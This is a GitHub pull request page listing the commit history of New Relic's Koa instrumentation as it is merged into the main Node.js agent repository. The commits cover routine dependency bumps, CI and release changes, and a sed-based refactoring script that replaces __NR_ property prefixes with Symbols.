Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

chore: Migrated @newrelic/koa into mainline agent repo #2148

Merged
merged 451 commits into from
Apr 17, 2024
This pull request is big! We’re only showing the most recent 250 commits.

Commits on Jul 13, 2020

  1. Configuration menu
    Copy the full SHA
    1df7952 View commit details
    Browse the repository at this point in the history

Commits on Jul 14, 2020

  1. Merge pull request newrelic#63 from michaelgoin/update-npm-ignore

    Adds additional files to npm ignore.
    astormnewrelic authored Jul 14, 2020
    Configuration menu
    Copy the full SHA
    5e62c03 View commit details
    Browse the repository at this point in the history

Commits on Jul 16, 2020

  1. Configuration menu
    Copy the full SHA
    2225ebc View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#64 from michaelgoin/add-notices-language

    Adds additional dependency language to bottom of third party notices.
    michaelgoin authored Jul 16, 2020
    Configuration menu
    Copy the full SHA
    80efd2f View commit details
    Browse the repository at this point in the history

Commits on Jul 21, 2020

  1. Updates to Readme, guidelines and templates

    Carlo Pearson committed Jul 21, 2020
    Configuration menu
    Copy the full SHA
    db9624e View commit details
    Browse the repository at this point in the history
  2. updated security policy link

    Carlo Pearson committed Jul 21, 2020
    Configuration menu
    Copy the full SHA
    2fcce90 View commit details
    Browse the repository at this point in the history
  3. updates to templates and readme

    Carlo Pearson committed Jul 21, 2020
    Configuration menu
    Copy the full SHA
    d8b4098 View commit details
    Browse the repository at this point in the history
  4. template updates

    Carlo Pearson committed Jul 21, 2020
    Configuration menu
    Copy the full SHA
    4f250e3 View commit details
    Browse the repository at this point in the history
  5. Contributing doc update

    Carlo Pearson committed Jul 21, 2020
    Configuration menu
    Copy the full SHA
    a8085e4 View commit details
    Browse the repository at this point in the history
  6. Update CONTRIBUTING.md

    Co-authored-by: Michael Goin <[email protected]>
    carlo-808 and michaelgoin authored Jul 21, 2020
    Configuration menu
    Copy the full SHA
    4f0b231 View commit details
    Browse the repository at this point in the history
  7. Merge pull request newrelic#65 from newrelic/carlonewrelic/guidelines…

    …_updates
    
    Updates to Readme, guidelines and templates
    michaelgoin authored Jul 21, 2020
    Configuration menu
    Copy the full SHA
    432db17 View commit details
    Browse the repository at this point in the history

Commits on Jul 23, 2020

  1. Configuration menu
    Copy the full SHA
    6792686 View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#66 from michaelgoin/bump-test-utils

    Bumps node-test-utilities to ^4.0.0.
    michaelgoin authored Jul 23, 2020
    Configuration menu
    Copy the full SHA
    d6710b1 View commit details
    Browse the repository at this point in the history
  3. Null check for context.matched

    We are using fast-koa-router that set's _matchedRoute but does not set context.matched.
    See https://github.com/nikostoulas/fast-koa-router/blob/master/src/router.ts#L12
    Updating to latest newrelic library breaks our apps.
    nikostoulas committed Jul 23, 2020
    Configuration menu
    Copy the full SHA
    22e6b71 View commit details
    Browse the repository at this point in the history
  4. Merge pull request newrelic#29 from nikostoulas/patch-1

    Null check for context.matched
    astormnewrelic authored Jul 23, 2020
    Configuration menu
    Copy the full SHA
    84c879e View commit details
    Browse the repository at this point in the history

Commits on Aug 28, 2020

  1. Configuration menu
    Copy the full SHA
    58e03be View commit details
    Browse the repository at this point in the history

Commits on Sep 1, 2020

  1. Merge pull request newrelic#67 from newrelic/feature/repolinter-action

    ci: Add Open Source Policy Workflow
    carlo-808 authored Sep 1, 2020
    Configuration menu
    Copy the full SHA
    e97049f View commit details
    Browse the repository at this point in the history
  2. Update readme with community-plus header

    Carlo Pearson committed Sep 1, 2020
    Configuration menu
    Copy the full SHA
    917b62e View commit details
    Browse the repository at this point in the history
  3. Merge pull request newrelic#69 from newrelic/carlo/readme-community-plus

    Update readme with community-plus header
    michaelgoin authored Sep 1, 2020
    Configuration menu
    Copy the full SHA
    d03e00f View commit details
    Browse the repository at this point in the history

Commits on Sep 26, 2020

  1. Configuration menu
    Copy the full SHA
    bdd127d View commit details
    Browse the repository at this point in the history

Commits on Sep 28, 2020

  1. Merge pull request newrelic#70 from jgeurts/issue-33

    Check if transaction is null before accessing nameState property
    nijotz authored Sep 28, 2020
    Configuration menu
    Copy the full SHA
    603d9f7 View commit details
    Browse the repository at this point in the history

Commits on Sep 29, 2020

  1. Configuration menu
    Copy the full SHA
    525a9fb View commit details
    Browse the repository at this point in the history
  2. Add Node.js 14 to CI

    jgeurts committed Sep 29, 2020
    Configuration menu
    Copy the full SHA
    c1cc2f6 View commit details
    Browse the repository at this point in the history
  3. Merge pull request newrelic#72 from nijotz/test-for-null-tx-check

    Add a test for null transaction
    michaelgoin authored Sep 29, 2020
    Configuration menu
    Copy the full SHA
    6e78a81 View commit details
    Browse the repository at this point in the history

Commits on Oct 2, 2020

  1. Configuration menu
    Copy the full SHA
    bb23933 View commit details
    Browse the repository at this point in the history

Commits on Oct 13, 2020

  1. Merge pull request newrelic#73 from jgeurts/node-14

    Add Node.js 14 to CI
    michaelgoin authored Oct 13, 2020
    Configuration menu
    Copy the full SHA
    34b9ffa View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#74 from paperclypse/main

    Updated README as part of the repo consistency project
    michaelgoin authored Oct 13, 2020
    Configuration menu
    Copy the full SHA
    81ab318 View commit details
    Browse the repository at this point in the history
  3. Configuration menu
    Copy the full SHA
    57614fd View commit details
    Browse the repository at this point in the history
  4. Merge pull request newrelic#76 from newrelic/v4.1.0

    Release 4.1.0
    michaelgoin authored Oct 13, 2020
    Configuration menu
    Copy the full SHA
    41552d2 View commit details
    Browse the repository at this point in the history
  5. 4.1.0

    michaelgoin committed Oct 13, 2020
    Configuration menu
    Copy the full SHA
    d1a8da3 View commit details
    Browse the repository at this point in the history

Commits on Oct 28, 2020

  1. Removed Node v8.x from CI

    nijotz committed Oct 28, 2020
    Configuration menu
    Copy the full SHA
    1c10627 View commit details
    Browse the repository at this point in the history
  2. Configuration menu
    Copy the full SHA
    90bfbcb View commit details
    Browse the repository at this point in the history
  3. Merge pull request newrelic#77 from nijotz/remove-v8

    Remove v8
    nijotz authored Oct 28, 2020
    Configuration menu
    Copy the full SHA
    57f1597 View commit details
    Browse the repository at this point in the history

Commits on Nov 2, 2020

  1. Configuration menu
    Copy the full SHA
    741e2e1 View commit details
    Browse the repository at this point in the history
  2. Release v5.0.0

    nijotz committed Nov 2, 2020
    Configuration menu
    Copy the full SHA
    f9d75ec View commit details
    Browse the repository at this point in the history
  3. Merge pull request newrelic#78 from nijotz/release/v5.0.0

    Release/v5.0.0
    nijotz authored Nov 2, 2020
    Configuration menu
    Copy the full SHA
    2d59301 View commit details
    Browse the repository at this point in the history
  4. 5.0.0

    nijotz committed Nov 2, 2020
    Configuration menu
    Copy the full SHA
    b6f01b6 View commit details
    Browse the repository at this point in the history

Commits on May 26, 2021

  1. initial test for node 16 compatibility

    Carlo Pearson committed May 26, 2021
    Configuration menu
    Copy the full SHA
    8ef1af7 View commit details
    Browse the repository at this point in the history
  2. bump newrelic/test-utilities to v5.1

    Carlo Pearson committed May 26, 2021
    Configuration menu
    Copy the full SHA
    cd35078 View commit details
    Browse the repository at this point in the history

Commits on May 27, 2021

  1. Merge pull request newrelic#80 from carlo-808/bump-test-utilities

    Bump @newrelic/test-utilities to v5.1
    michaelgoin authored May 27, 2021
    Configuration menu
    Copy the full SHA
    bf8ff51 View commit details
    Browse the repository at this point in the history

Commits on Jun 1, 2021

  1. Configuration menu
    Copy the full SHA
    f94694f View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#82 from newrelic/michaelgoin-patch-1

    Explicitly list @koa/router in supported modules.
    carlo-808 authored Jun 1, 2021
    Configuration menu
    Copy the full SHA
    1ec2b39 View commit details
    Browse the repository at this point in the history

Commits on Jun 4, 2021

  1. Configuration menu
    Copy the full SHA
    97354bd View commit details
    Browse the repository at this point in the history
  2. lint fix

    bizob2828 committed Jun 4, 2021
    Configuration menu
    Copy the full SHA
    dcb5bef View commit details
    Browse the repository at this point in the history
  3. Merge pull request newrelic#83 from bizob2828/tap-15

    upgraded to v15 of tap and committed package-lock to repo
    michaelgoin authored Jun 4, 2021
    Configuration menu
    Copy the full SHA
    4bbff57 View commit details
    Browse the repository at this point in the history

Commits on Jul 16, 2021

  1. Configuration menu
    Copy the full SHA
    34644cd View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#79 from newrelic/carlo/node16-test

    Initial test for node 16 compatibility
    bizob2828 authored Jul 16, 2021
    Configuration menu
    Copy the full SHA
    21aaafe View commit details
    Browse the repository at this point in the history
  3. Configuration menu
    Copy the full SHA
    4d2fba2 View commit details
    Browse the repository at this point in the history
  4. Configuration menu
    Copy the full SHA
    eff1812 View commit details
    Browse the repository at this point in the history
  5. Configuration menu
    Copy the full SHA
    99cf934 View commit details
    Browse the repository at this point in the history
  6. lint fix

    bizob2828 committed Jul 16, 2021
    Configuration menu
    Copy the full SHA
    b35add6 View commit details
    Browse the repository at this point in the history
  7. Merge pull request newrelic#84 from bizob2828/main

    updates engines to be >=12, dropping 10 in ci has already landed
    carlo-808 authored Jul 16, 2021
    Configuration menu
    Copy the full SHA
    1053e9e View commit details
    Browse the repository at this point in the history
  8. Configuration menu
    Copy the full SHA
    88fe8db View commit details
    Browse the repository at this point in the history
  9. Merge pull request newrelic#85 from bizob2828/remove-methods-pkg

    Remove methods pkg
    carlo-808 authored Jul 16, 2021
    Configuration menu
    Copy the full SHA
    0a36dd3 View commit details
    Browse the repository at this point in the history

Commits on Jul 19, 2021

  1. Release/v6.0.0

    Carlo Pearson committed Jul 19, 2021
    Configuration menu
    Copy the full SHA
    0c119a0 View commit details
    Browse the repository at this point in the history
  2. update supported version in NEWS

    Carlo Pearson committed Jul 19, 2021
    Configuration menu
    Copy the full SHA
    7f73b02 View commit details
    Browse the repository at this point in the history
  3. update supported version in NEWS (again.. sigh

    Carlo Pearson committed Jul 19, 2021
    Configuration menu
    Copy the full SHA
    b32fa27 View commit details
    Browse the repository at this point in the history

Commits on Jul 20, 2021

  1. Configuration menu
    Copy the full SHA
    fa47a98 View commit details
    Browse the repository at this point in the history
  2. 6.0.0

    bizob2828 committed Jul 20, 2021
    Configuration menu
    Copy the full SHA
    f2412a4 View commit details
    Browse the repository at this point in the history
  3. Configuration menu
    Copy the full SHA
    6b7baba View commit details
    Browse the repository at this point in the history
  4. Merge pull request newrelic#89 from bizob2828/include-versioned-tests

    update files list to include versioned tests so they can run in main …
    michaelgoin authored Jul 20, 2021
    Configuration menu
    Copy the full SHA
    ff26f6a View commit details
    Browse the repository at this point in the history
  5. release 6.0.1

    bizob2828 committed Jul 20, 2021
    Configuration menu
    Copy the full SHA
    6ab376c View commit details
    Browse the repository at this point in the history
  6. Configuration menu
    Copy the full SHA
    50533ad View commit details
    Browse the repository at this point in the history
  7. 6.0.1

    bizob2828 committed Jul 20, 2021
    Configuration menu
    Copy the full SHA
    8cb4c8b View commit details
    Browse the repository at this point in the history
  8. 6.0.1

    bizob2828 committed Jul 20, 2021
    Configuration menu
    Copy the full SHA
    139b460 View commit details
    Browse the repository at this point in the history

Commits on Jul 22, 2021

  1. Configuration menu
    Copy the full SHA
    292bcd1 View commit details
    Browse the repository at this point in the history
  2. Configuration menu
    Copy the full SHA
    734a343 View commit details
    Browse the repository at this point in the history
  3. Configuration menu
    Copy the full SHA
    ae4e000 View commit details
    Browse the repository at this point in the history

Commits on Aug 6, 2021

  1. Configuration menu
    Copy the full SHA
    b7dc3c5 View commit details
    Browse the repository at this point in the history
  2. Configuration menu
    Copy the full SHA
    04dff63 View commit details
    Browse the repository at this point in the history

Commits on Aug 16, 2021

  1. added newrelic eslint pkg

    bizob2828 committed Aug 16, 2021
    Configuration menu
    Copy the full SHA
    c987d69 View commit details
    Browse the repository at this point in the history

Commits on Aug 18, 2021

  1. Merge pull request newrelic#92 from bizob2828/shared-eslint-rules

    Shared eslint rules
    michaelgoin authored Aug 18, 2021
    Configuration menu
    Copy the full SHA
    4c348d0 View commit details
    Browse the repository at this point in the history

Commits on Aug 25, 2021

  1. Configuration menu
    Copy the full SHA
    a36d9e3 View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#94 from bizob2828/third-party-notices-aut…

    …omation
    
    added husky + lint staged and hook to update third party manifest/notices
    michaelgoin authored Aug 25, 2021
    Configuration menu
    Copy the full SHA
    d432e55 View commit details
    Browse the repository at this point in the history

Commits on Oct 27, 2021

  1. Configuration menu
    Copy the full SHA
    cf89395 View commit details
    Browse the repository at this point in the history

Commits on Dec 3, 2021

  1. Merge pull request newrelic#95 from michaelgoin/promise-context-test-…

    …update
    
    Modifies koa test to remove context-less async hop.
    garbados authored Dec 3, 2021
    Configuration menu
    Copy the full SHA
    126e21f View commit details
    Browse the repository at this point in the history

Commits on Dec 20, 2021

  1. Configuration menu
    Copy the full SHA
    844cfbf View commit details
    Browse the repository at this point in the history

Commits on Dec 21, 2021

  1. Merge pull request newrelic#96 from bizob2828/add-to-board

    added job to automatically add issues/pr to Node.js Engineering board
    michaelgoin authored Dec 21, 2021
    Configuration menu
    Copy the full SHA
    d49fc50 View commit details
    Browse the repository at this point in the history

Commits on Jan 5, 2022

  1. Configuration menu
    Copy the full SHA
    d8cc720 View commit details
    Browse the repository at this point in the history

Commits on Jan 6, 2022

  1. Merge pull request newrelic#97 from bizob2828/prep-release

    added workflow to prepare release
    garbados authored Jan 6, 2022
    Configuration menu
    Copy the full SHA
    c74bccb View commit details
    Browse the repository at this point in the history

Commits on Jan 11, 2022

  1. Setting version to v6.1.0.

    bizob2828 committed Jan 11, 2022
    Configuration menu
    Copy the full SHA
    11942b5 View commit details
    Browse the repository at this point in the history
  2. Configuration menu
    Copy the full SHA
    7206dba View commit details
    Browse the repository at this point in the history
  3. Configuration menu
    Copy the full SHA
    ec91e3e View commit details
    Browse the repository at this point in the history
  4. changelog updates

    bizob2828 committed Jan 11, 2022
    Configuration menu
    Copy the full SHA
    66b085b View commit details
    Browse the repository at this point in the history
  5. Removes usage of tracer.

    michaelgoin committed Jan 11, 2022
    Configuration menu
    Copy the full SHA
    b0b7230 View commit details
    Browse the repository at this point in the history
  6. Configuration menu
    Copy the full SHA
    b2da788 View commit details
    Browse the repository at this point in the history

Commits on Jan 12, 2022

  1. Merge pull request newrelic#99 from newrelic/release-creation

    added create-release workflow
    bizob2828 authored Jan 12, 2022
    Configuration menu
    Copy the full SHA
    355c3e3 View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#98 from newrelic/release/v6.1.0

    Release v6.1.0
    bizob2828 authored Jan 12, 2022
    Configuration menu
    Copy the full SHA
    786b865 View commit details
    Browse the repository at this point in the history
  3. Configuration menu
    Copy the full SHA
    25b6bee View commit details
    Browse the repository at this point in the history

Commits on Jan 13, 2022

  1. Configuration menu
    Copy the full SHA
    54645c6 View commit details
    Browse the repository at this point in the history

Commits on Jan 14, 2022

  1. Merge pull request newrelic#101 from bizob2828/swap-gh-token

    changed secret for gh token to use org level secret
    bizob2828 authored Jan 14, 2022
    Configuration menu
    Copy the full SHA
    4e9a2e5 View commit details
    Browse the repository at this point in the history

Commits on Feb 7, 2022

  1. Setting version to v6.1.1.

    bizob2828 committed Feb 7, 2022
    Configuration menu
    Copy the full SHA
    e3dd0e5 View commit details
    Browse the repository at this point in the history
  2. Configuration menu
    Copy the full SHA
    f3a0f66 View commit details
    Browse the repository at this point in the history
  3. Configuration menu
    Copy the full SHA
    76e4797 View commit details
    Browse the repository at this point in the history

Commits on Feb 11, 2022

  1. Configuration menu
    Copy the full SHA
    a8630ca View commit details
    Browse the repository at this point in the history

Commits on Feb 15, 2022

  1. Merge pull request newrelic#104 from michaelgoin/audit-fix

    Fixed several dev dep audit warnings.
    bizob2828 authored Feb 15, 2022
    Configuration menu
    Copy the full SHA
    88a8722 View commit details
    Browse the repository at this point in the history

Commits on Feb 17, 2022

  1. Configuration menu
    Copy the full SHA
    a48c98f View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#105 from bizob2828/fix-readme

    fixed discuss link in README
    michaelgoin authored Feb 17, 2022
    Configuration menu
    Copy the full SHA
    c841cd3 View commit details
    Browse the repository at this point in the history

Commits on Feb 26, 2022

  1. Bump urijs from 1.19.7 to 1.19.8

    Bumps [urijs](https://github.com/medialize/URI.js) from 1.19.7 to 1.19.8.
    - [Release notes](https://github.com/medialize/URI.js/releases)
    - [Changelog](https://github.com/medialize/URI.js/blob/gh-pages/CHANGELOG.md)
    - [Commits](medialize/URI.js@v1.19.7...v1.19.8)
    
    ---
    updated-dependencies:
    - dependency-name: urijs
      dependency-type: indirect
    ...
    
    Signed-off-by: dependabot[bot] <[email protected]>
    dependabot[bot] authored Feb 26, 2022
    Configuration menu
    Copy the full SHA
    7a4d92e View commit details
    Browse the repository at this point in the history

Commits on Feb 28, 2022

  1. Merge pull request newrelic#107 from newrelic/dependabot/npm_and_yarn…

    …/urijs-1.19.8
    
    Bump urijs from 1.19.7 to 1.19.8
    michaelgoin authored Feb 28, 2022
    Configuration menu
    Copy the full SHA
    b3d4d1f View commit details
    Browse the repository at this point in the history

Commits on Mar 1, 2022

  1. package.json: do not bundle versioned tests

    Jordi Gutiérrez Hermoso committed Mar 1, 2022
    Configuration menu
    Copy the full SHA
    b691270 View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#108 from jordigh/remove-versioned-tests

    package.json: do not bundle versioned tests
    michaelgoin authored Mar 1, 2022
    Configuration menu
    Copy the full SHA
    b2cfbf9 View commit details
    Browse the repository at this point in the history

Commits on Mar 3, 2022

  1. Bump urijs from 1.19.8 to 1.19.9

    Bumps [urijs](https://github.com/medialize/URI.js) from 1.19.8 to 1.19.9.
    - [Release notes](https://github.com/medialize/URI.js/releases)
    - [Changelog](https://github.com/medialize/URI.js/blob/gh-pages/CHANGELOG.md)
    - [Commits](medialize/URI.js@v1.19.8...v1.19.9)
    
    ---
    updated-dependencies:
    - dependency-name: urijs
      dependency-type: indirect
    ...
    
    Signed-off-by: dependabot[bot] <[email protected]>
    dependabot[bot] authored Mar 3, 2022
    Configuration menu
    Copy the full SHA
    64ace4e View commit details
    Browse the repository at this point in the history

Commits on Mar 4, 2022

  1. Merge pull request newrelic#109 from newrelic/dependabot/npm_and_yarn…

    …/urijs-1.19.9
    
    Bump urijs from 1.19.8 to 1.19.9
    michaelgoin authored Mar 4, 2022
    Configuration menu
    Copy the full SHA
    a10468e View commit details
    Browse the repository at this point in the history

Commits on Mar 7, 2022

  1. Setting version to v6.1.2.

    jordigh committed Mar 7, 2022
    Configuration menu
    Copy the full SHA
    af2de38 View commit details
    Browse the repository at this point in the history
  2. Add release notes.

    jordigh committed Mar 7, 2022
    Configuration menu
    Copy the full SHA
    757c536 View commit details
    Browse the repository at this point in the history
  3. Merge pull request newrelic#110 from newrelic/release/v6.1.2

    Release v6.1.2
    jordigh authored Mar 7, 2022
    Configuration menu
    Copy the full SHA
    50a468f View commit details
    Browse the repository at this point in the history

Commits on Mar 8, 2022

  1. Bump urijs from 1.19.9 to 1.19.10

    Bumps [urijs](https://github.com/medialize/URI.js) from 1.19.9 to 1.19.10.
    - [Release notes](https://github.com/medialize/URI.js/releases)
    - [Changelog](https://github.com/medialize/URI.js/blob/gh-pages/CHANGELOG.md)
    - [Commits](medialize/URI.js@v1.19.9...v1.19.10)
    
    ---
    updated-dependencies:
    - dependency-name: urijs
      dependency-type: indirect
    ...
    
    Signed-off-by: dependabot[bot] <[email protected]>
    dependabot[bot] authored Mar 8, 2022
    Configuration menu
    Copy the full SHA
    7fe353a View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#111 from newrelic/dependabot/npm_and_yarn…

    …/urijs-1.19.10
    
    Bump urijs from 1.19.9 to 1.19.10
    michaelgoin authored Mar 8, 2022
    Configuration menu
    Copy the full SHA
    db50326 View commit details
    Browse the repository at this point in the history

Commits on Apr 9, 2022

  1. Bump moment from 2.29.1 to 2.29.2

    Bumps [moment](https://github.com/moment/moment) from 2.29.1 to 2.29.2.
    - [Release notes](https://github.com/moment/moment/releases)
    - [Changelog](https://github.com/moment/moment/blob/develop/CHANGELOG.md)
    - [Commits](moment/moment@2.29.1...2.29.2)
    
    ---
    updated-dependencies:
    - dependency-name: moment
      dependency-type: indirect
    ...
    
    Signed-off-by: dependabot[bot] <[email protected]>
    dependabot[bot] authored Apr 9, 2022
    Configuration menu
    Copy the full SHA
    6b8ae48 View commit details
    Browse the repository at this point in the history

Commits on Apr 11, 2022

  1. Merge pull request newrelic#112 from newrelic/dependabot/npm_and_yarn…

    …/moment-2.29.2
    
    Bump moment from 2.29.1 to 2.29.2
    michaelgoin authored Apr 11, 2022
    Configuration menu
    Copy the full SHA
    bdd6bfd View commit details
    Browse the repository at this point in the history
  2. Bumps tap to ^16.0.1.

    michaelgoin committed Apr 11, 2022
    Configuration menu
    Copy the full SHA
    f39354f View commit details
    Browse the repository at this point in the history
  3. npm audit fix.

    michaelgoin committed Apr 11, 2022
    Configuration menu
    Copy the full SHA
    42b547c View commit details
    Browse the repository at this point in the history

Commits on Apr 13, 2022

  1. Bump urijs from 1.19.10 to 1.19.11

    Bumps [urijs](https://github.com/medialize/URI.js) from 1.19.10 to 1.19.11.
    - [Release notes](https://github.com/medialize/URI.js/releases)
    - [Changelog](https://github.com/medialize/URI.js/blob/gh-pages/CHANGELOG.md)
    - [Commits](medialize/URI.js@v1.19.10...v1.19.11)
    
    ---
    updated-dependencies:
    - dependency-name: urijs
      dependency-type: indirect
    ...
    
    Signed-off-by: dependabot[bot] <[email protected]>
    dependabot[bot] authored Apr 13, 2022
    Configuration menu
    Copy the full SHA
    262d6ba View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#114 from newrelic/dependabot/npm_and_yarn…

    …/urijs-1.19.11
    
    Bump urijs from 1.19.10 to 1.19.11
    michaelgoin authored Apr 13, 2022
    Configuration menu
    Copy the full SHA
    ca6ed48 View commit details
    Browse the repository at this point in the history

Commits on Apr 14, 2022

  1. Merge pull request newrelic#113 from michaelgoin/bump-tap

    Bumps tap and resolves audit warnings
    bizob2828 authored Apr 14, 2022
    Configuration menu
    Copy the full SHA
    f5f5f02 View commit details
    Browse the repository at this point in the history

Commits on Apr 29, 2022

  1. Bump async from 2.6.3 to 2.6.4

    Bumps [async](https://github.com/caolan/async) from 2.6.3 to 2.6.4.
    - [Release notes](https://github.com/caolan/async/releases)
    - [Changelog](https://github.com/caolan/async/blob/v2.6.4/CHANGELOG.md)
    - [Commits](caolan/async@v2.6.3...v2.6.4)
    
    ---
    updated-dependencies:
    - dependency-name: async
      dependency-type: indirect
    ...
    
    Signed-off-by: dependabot[bot] <[email protected]>
    dependabot[bot] authored Apr 29, 2022
    Configuration menu
    Copy the full SHA
    2a34480 View commit details
    Browse the repository at this point in the history

Commits on May 3, 2022

  1. Merge pull request newrelic#115 from newrelic/dependabot/npm_and_yarn…

    …/async-2.6.4
    
    Bump async from 2.6.3 to 2.6.4
    bizob2828 authored May 3, 2022
    Configuration menu
    Copy the full SHA
    f841114 View commit details
    Browse the repository at this point in the history

Commits on Jun 2, 2022

  1. Bump protobufjs from 6.11.2 to 6.11.3

    Bumps [protobufjs](https://github.com/protobufjs/protobuf.js) from 6.11.2 to 6.11.3.
    - [Release notes](https://github.com/protobufjs/protobuf.js/releases)
    - [Changelog](https://github.com/protobufjs/protobuf.js/blob/v6.11.3/CHANGELOG.md)
    - [Commits](protobufjs/protobuf.js@v6.11.2...v6.11.3)
    
    ---
    updated-dependencies:
    - dependency-name: protobufjs
      dependency-type: indirect
    ...
    
    Signed-off-by: dependabot[bot] <[email protected]>
    dependabot[bot] authored Jun 2, 2022
    Configuration menu
    Copy the full SHA
    89e78dd View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#116 from newrelic/dependabot/npm_and_yarn…

    …/protobufjs-6.11.3
    
    Bump protobufjs from 6.11.2 to 6.11.3
    jordigh authored Jun 2, 2022
    Configuration menu
    Copy the full SHA
    2647c90 View commit details
    Browse the repository at this point in the history

Commits on Jul 12, 2022

  1. Configuration menu
    Copy the full SHA
    64d6e41 View commit details
    Browse the repository at this point in the history

Commits on Jul 18, 2022

  1. Merge pull request newrelic#117 from michaelgoin/ci-node-18

    Updates CI to run against Node versions 14-18.
    bizob2828 authored Jul 18, 2022
    Configuration menu
    Copy the full SHA
    1e2cc96 View commit details
    Browse the repository at this point in the history
  2. Bump moment from 2.29.2 to 2.29.4

    Bumps [moment](https://github.com/moment/moment) from 2.29.2 to 2.29.4.
    - [Release notes](https://github.com/moment/moment/releases)
    - [Changelog](https://github.com/moment/moment/blob/develop/CHANGELOG.md)
    - [Commits](moment/moment@2.29.2...2.29.4)
    
    ---
    updated-dependencies:
    - dependency-name: moment
      dependency-type: indirect
    ...
    
    Signed-off-by: dependabot[bot] <[email protected]>
    dependabot[bot] authored Jul 18, 2022
    Configuration menu
    Copy the full SHA
    ebe76f9 View commit details
    Browse the repository at this point in the history
  3. Merge pull request newrelic#118 from newrelic/dependabot/npm_and_yarn…

    …/moment-2.29.4
    
    Bump moment from 2.29.2 to 2.29.4
    bizob2828 authored Jul 18, 2022
    Configuration menu
    Copy the full SHA
    9f931e9 View commit details
    Browse the repository at this point in the history

Commits on Jul 25, 2022

  1. Configuration menu
    Copy the full SHA
    047e2f9 View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#119 from michaelgoin/drop-node-12

    Drops support for Node 12.
    bizob2828 authored Jul 25, 2022
    Configuration menu
    Copy the full SHA
    6958a7b View commit details
    Browse the repository at this point in the history

Commits on Jul 27, 2022

  1. Setting version to v7.0.0.

    bizob2828 committed Jul 27, 2022
    Configuration menu
    Copy the full SHA
    229461f View commit details
    Browse the repository at this point in the history
  2. Configuration menu
    Copy the full SHA
    ae17ef6 View commit details
    Browse the repository at this point in the history
  3. Configuration menu
    Copy the full SHA
    89a7592 View commit details
    Browse the repository at this point in the history
  4. Configuration menu
    Copy the full SHA
    6330b73 View commit details
    Browse the repository at this point in the history

Commits on Oct 25, 2022

  1. Configuration menu
    Copy the full SHA
    431003d View commit details
    Browse the repository at this point in the history

Commits on Oct 26, 2022

  1. Configuration menu
    Copy the full SHA
    6ccd5c8 View commit details
    Browse the repository at this point in the history
  2. Configuration menu
    Copy the full SHA
    efe2b22 View commit details
    Browse the repository at this point in the history
  3. Configuration menu
    Copy the full SHA
    be95223 View commit details
    Browse the repository at this point in the history

Commits on Oct 27, 2022

  1. Merge pull request newrelic#122 from bizob2828/update-deprecated-actions

    update actions that are using deprecated node 12
    bizob2828 authored Oct 27, 2022
    Configuration menu
    Copy the full SHA
    054e741 View commit details
    Browse the repository at this point in the history
  2. Configuration menu
    Copy the full SHA
    866b676 View commit details
    Browse the repository at this point in the history
  3. Merge pull request newrelic#124 from jmartin4563/NR-60782-codecov

    NR-60782 wire up c8 and codecov for coverage collection
    jmartin4563 authored Oct 27, 2022
    Configuration menu
    Copy the full SHA
    eaf9863 View commit details
    Browse the repository at this point in the history

Commits on Nov 3, 2022

  1. NEWRELIC-4422: modify tests to not check for __NR_original

    Instead, we will either check the name of wrapped methods or compare
    the method with original, unwrapped methods to see if they've been
    wrapped.
    
    Also removed a copy-paste test for both the koa-router and @koa/router
    modules.
    Jordi Gutiérrez Hermoso committed Nov 3, 2022
    Configuration menu
    Copy the full SHA
    4d32462 View commit details
    Browse the repository at this point in the history
  2. NEWRELIC-4422: remove __NR prefixes in favour of symbols

    This was done completely automatically by executing the following
    script:
    
    #!/bin/bash
    
    # Let's make this script idempotent, undo all work before starting.
    hg revert --all --quiet
    
    regex='__NR_[\w_]+\b'
    
    # Which files need to be modified?
    fnames=$(hg grep '\.'$regex -l --include 'glob:**.js')
    
    # What are the symbols to change?
    symbols=$(grep -Poh $regex $fnames | sort -u | sed "s/__NR_\(.*\)/  \1: Symbol('\1\'),/")
    echo "Symbols to modify:"
    echo "$symbols"
    
    # So modify them.
    sed -i 's,\.__NR_\([[:alpha:]]\+\),[symbols.\1],g' $fnames
    
    # Which files are missing a `require` statement?
    fnames=$(grep -LP 'require\(.*symbols.*\)' $fnames)
    
    # So add the require to those files.
    for fname in $fnames; do
        require="const symbols = require('$(realpath lib/symbols.js --relative-to=$(dirname $fname) | sed s,.js,, | sed s,^symbols,./symbols,)')";
    
        # Look for last require or after use strict if no require is found
        last_line_number=$( (grep -nP '^(const|var).* = require' $fname || grep -nP "'use strict'" $fname) | tail -1 | cut -f 1 -d:)
        insert_line_number=$((last_line_number+1))
        echo "inserting $require at line $insert_line_number for $fname"
        sed -i "${insert_line_number}i $require" $fname
    done
    Jordi Gutiérrez Hermoso committed Nov 3, 2022
    Configuration menu
    Copy the full SHA
    0e0024f View commit details
    Browse the repository at this point in the history

Commits on Nov 7, 2022

  1. fix tests to use shim.isWrapped instead

    Jordi Gutiérrez Hermoso committed Nov 7, 2022
    Configuration menu
    Copy the full SHA
    0e2af07 View commit details
    Browse the repository at this point in the history

Commits on Nov 8, 2022

  1. Merge pull request newrelic#125 from jordigh/remove-dunder

    NEWRELIC-4422: remove __NR prefix properties and usage
    bizob2828 authored Nov 8, 2022
    Configuration menu
    Copy the full SHA
